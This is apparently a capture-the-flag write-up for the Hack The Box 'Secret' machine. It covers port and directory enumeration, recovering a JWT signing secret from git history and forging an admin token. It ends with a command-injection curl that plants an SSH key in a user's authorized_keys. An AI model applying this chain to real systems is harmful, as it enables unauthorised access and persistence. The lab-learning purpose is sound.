Information Gathering
NMAP
command used: ( scanning for all the ports fast and efficient)
sudo nmap -p- -sS --min-rate 5000 --open -T5 -vvv 10.10.11.120 -oG nmap/allPorts --defeat-rst-ratelimit
command used: ( scanning the ports we got )
nmap -A -sC -sV -p22,80,3000 10.10.11.120 -Pn -oA nmap/full_scan
-> All ports scan:
Not shown: 65454 closed tcp ports (reset), 78 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
-> All ports scan with flags:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Services
TCP 22 ( Default port for SSH )
-> SSH package version - Might be able to find the OS and version.
-> SSH key fingerprint - Has the key been re-used somewhere (Another machine? Same machine, just another port/service?)
-> SSH banner - Any text (if at all) before the password prompt (often get legal warnings about connecting to it)
-> SSH package version:
nc -vn 10.10.11.120 22
- output:
└─$ nc -vn 10.10.11.120 22 (UNKNOWN) [10.10.11.120] 22 (ssh) open SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
-> SSH key fingerprint:
ssh root@10.11.1.72
- output:
└─$ ssh root@10.10.11.120 The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established. ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.120' (ECDSA) to the list of known hosts.
TCP 80 ( Default port for HTTP )
-> Web Server:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 18 Dec 2021 11:15:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12872
Connection: keep-alive
X-Powered-By: Express
ETag: W/"3248-nFUp1XavqYRgAFgHenjOsSPQ/e4"
<!DOCTYPE html>
<html lang="en">
<head>
<title>DUMB Docs</title>
<!-- Meta -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Bootstrap Documentation Template For Software Developers">
<meta name="author" content="Xiaoying Riley at 3rd Wave Media">
<link rel="shortcut icon" href="favicon.ico">
-> Directory Listing:
gobuster dir -u http://10.10.11.120/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
-> output:
└─$ gobuster dir -u http://10.10.11.120/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.120/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/18 06:16:28 Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 301) [Size: 183] [--> /download/]
/docs (Status: 200) [Size: 20720]
/api (Status: 200) [Size: 93]
/assets (Status: 301) [Size: 179] [--> /assets/]
/. (Status: 301) [Size: 169] [--> /./]
/API (Status: 200) [Size: 93]
/Docs (Status: 200) [Size: 20720]
Checking the docs we get a manual on how we can use the api
Pentesting API
REGISTER
So we can see an endpoint to register an user so let’s take a look at it.POST http://localhost:3000/api/user/register
Using curl
we can try to figure it out quickly.
We get an error… It’s telling us that we should provide it a name argument.
We can also see that it’s accepting application/json
data.
└─$ curl -i -XPOST --data '{"name": "asd"}' http://10.10.11.120:3000/api/user/register -H 'Content-Type: application/json'
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 48
ETag: W/"30-UVsaSneyZLmrsxdLqVVy1ny4bQ4"
Date: Sat, 18 Dec 2021 11:35:34 GMT
Connection: keep-alive
"name" length must be at least 6 characters long
Now we need to provide it a longer name.
After bypassing every condition we get this
Now that the user is created we can try to log in.
LOG IN
└─$ curl -i -XPOST --data '{"email": "testuser@gmail.com", "password": "testuser123"}' http://10.10.11.120:3000/api/user/login -H 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.S7GnIjI34cCrOSwECtlNZ2qd2Qyu-ypj9mX-399REuo
Content-Type: text/html; charset=utf-8
Content-Length: 212
ETag: W/"d4-kBmsZUcUQXUkuHKeWOaqedWKg08"
Date: Sat, 18 Dec 2021 11:38:51 GMT
Connection: keep-alive
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.S7GnIjI34cCrOSwECtlNZ2qd2Qyu-ypj9mX-399REuo
We can see that after loging-in we get a JWT token.
So the only attack vector in this case is to try to create another JWT token with a different user, hopefully one with higher privileges so we can access the private endpoints.
The three main ways to bypass JWT validation:
- Using the
none
alg - Hijacking another user
- Brute forcing the key.
Lookin in the manual we can find that there is a user called admin that we could possibly hijack.
The JWT token is a HS256 alg type.
But before any further exploitation we need to keep enumerating on the main websever becuse there could be some potential .js files that we could use.
Enumeration: Source Code
Scrolling through the main page we can find a download button for the source code.
Unziping the local-web.zip we can find tons of files.
Deleting the unimportant files we just have
└─$ ls -lah
total 24K
drwxrwxr-x 5 iulian iulian 4.0K Dec 18 07:12 .
drwxr-xr-x 3 iulian iulian 4.0K Dec 18 07:10 ..
-rw-rw-r-- 1 iulian iulian 72 Sep 3 01:59 .env
drwxrwxr-x 8 iulian iulian 4.0K Sep 8 14:33 .git
drwxrwxr-x 4 iulian iulian 4.0K Sep 3 01:54 public
drwxrwxr-x 2 iulian iulian 4.0K Dec 18 07:11 routes
We have 2 hidden files/dirs… The .env one and .git
Checking the environment file we can see that it contains
└─$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
That could be useful in our api pentesting…
We also have a .git directory which stores commits, branches, indexes etc.
But the most important thing is that we can see the previous commits and stuff like that
Running git log
we can see the history of the code source.
The 2nd one looks interesting…
This could possibly have some secret data that was deleted after finishing the website.
But the developer forgot that we could use git log -p COMMIT
in order to go back in time
git log -p 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
With that we could craft our own JWT token to get rid of the privilege errors from /api/priv because the webserver it’s veryfying the token with the one from .env
And it’s also creating the new token based on it
Now…The only file remaining is private.js
that contains the routes and what they are containing.
└─$ cat private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
As you can see it’s veryfying if the use is theadmin
and if it is by going to /logs
you could potentially do a command injection on the exec()
row using ;
in order to escape the arguments or something similar.
Now that we know all of that we can continue with the API Pentesting phase.
In order to create the JWT token we will use https://github.com/ticarpi/jwt_tool
Forging Token
python /opt/Git/jwt_tool/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU2NTc4NTd9.7v-DST155DL_5yuhC9Zbe2rdyPiGCcd8aeYUucQLVzU
Exploiting /file
└─$ curl http://10.10.11.120:3000/api/logs -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.FeWGxbqUA0ZGsvk0TPur0DFDfTkuYgpADh1gj58Mozk'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline undefined"}
We need to provide a file
As you can see we successfully did a command injection that retured the id
of the current user.
But we need to obtain a foothold. The best idea is to copy our id_rsa.pub
to the user ssh so we can easily ssh into the machine without trying to get a sofisticated reverse shell.
Generate SSH Key
Never use your main SSH key
ssh-keygen -t rsa -b 4096 -C 'iulian@htb' -f secret.htb -P ''
Now we need to make sure that the folder /home/dasith/.ssh/
is present.
So in order to do that we will try to create it and then echo the public key into the authorized_keys
In order to make our life easier we will export the key into a bash variable
export PUBLIC_KEY=$(cat secret.htb.pub)
The Final curl
command
┌──(iulian㉿kali)-[~/Desktop/HackTheBox/Secret/tmp]
└─$ curl -i 'http://10.10.11.120:3000/api/logs' -G --data-urlencode 'file=index.js; mkdir -p /home/dasith/.ssh; echo $PUBLIC_KEY >> /home/dasith/.ssh/authorized_keys' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.FeWGxbqUA0ZGsvk0TPur0DFDfTkuYgpADh1gj58Mozk'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 27
ETag: W/"1b-pFfOEX46IRaNi6v8ztcwIwl9EF8"
Date: Sat, 18 Dec 2021 12:52:32 GMT
Connection: keep-alive
"ab3e953 Added the codes\n"